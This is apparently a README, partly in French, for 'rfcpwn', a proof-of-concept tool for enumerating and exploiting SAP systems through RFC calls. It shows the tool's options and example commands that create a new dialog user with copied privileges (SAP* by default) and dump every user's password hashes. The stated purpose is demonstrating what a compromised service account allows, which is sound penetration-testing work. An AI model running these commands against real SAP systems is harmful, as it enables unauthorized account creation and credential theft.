icryo/rfcpwnUn kit d'énumération et d'exploitation utilisant des appels RFC vers SAP
Une boîte à outils d'énumération et d'exploitation SAP utilisant des appels RFC SAP
Twitter: @icryo
Cet outil permet de démontrer l'impact de la compromission de comptes de service.
Ce PoC n'est pas destiné à être utilisé en production, aucune garantie de stabilité ou de support n'est offerte.
RFCpwn repose sur pyrfc et les bibliothèques fournies par SAP dans : https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]
An Impacket style enumeration and exploitation tool using SAP RFC calls
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
Authentication:
-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command
User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy
Hash Collection:
-dump Dump hashes use with below
-exp EXPERIMENTAL - Dump BCODE / PASSCODE hashes
Ping - confirmer la connectivité
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping
Copier les droits d'un utilisateur dans un nouvel utilisateur dialog. Si -copy n'est pas spécifié, SAP* est utilisé.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
Extraire les hash de tous les utilisateurs. L'option -exp permet d'obtenir expérimentalement les hash bcode et passcode.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump
